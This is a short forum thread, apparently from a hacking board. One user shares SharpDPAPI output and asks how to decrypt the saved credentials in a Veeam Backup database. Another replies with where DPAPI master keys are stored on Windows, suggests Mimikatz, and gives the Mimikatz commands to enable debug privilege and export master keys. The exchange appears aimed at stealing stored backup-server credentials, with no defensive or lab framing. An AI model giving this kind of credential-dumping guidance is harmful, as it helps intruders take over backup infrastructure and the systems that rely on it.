Veeambackup / encode base64

[TheExample]

__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.11.2


[*] Action: Describe DPAPI blob

[*] Using CryptUnprotectData() for decryption.

guidMasterKey : {c0b053e7-ea86-46b3-975a-5b8d84b13b9c}
size: 192
flags: 0x4
algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256)
description:
dec(blob) : MasterKey needed - {c0b053e7-ea86-46b3-975a-5b8d84b13b9c}



SharpDPAPI completed at 00:00:00.0171247


we use SharpDPAPI but say dec(blob) : MasterKey needed
how to decrypt base64?
or anyway to decrypt VeeamBackup=# SELECT * FROM Credentials

 

[timare]

try extracting the master key again ...
path: %APPDATA%\Microsoft\Protect
the file with masker key usually have the extension .bkf
if SharpDPAPI isn't working try Mimikatz

 

[TheExample]

try extracting the master key again ...
path: %APPDATA%\Microsoft\Protect
the file with masker key usually have the extension .bkf
if SharpDPAPI isn't working try Mimikatz

hello tnx ,we try now
how to use mimikatz for decrypt base64?

 

[TheExample]

try extracting the master key again ...
path: %APPDATA%\Microsoft\Protect
the file with masker key usually have the extension .bkf
if SharpDPAPI isn't working try Mimikatz

there was nothing in path (%APPDATA%\Microsoft\Protect)
just empty folder

 

[timare]

privilege::debug
dpapi::masterkey /export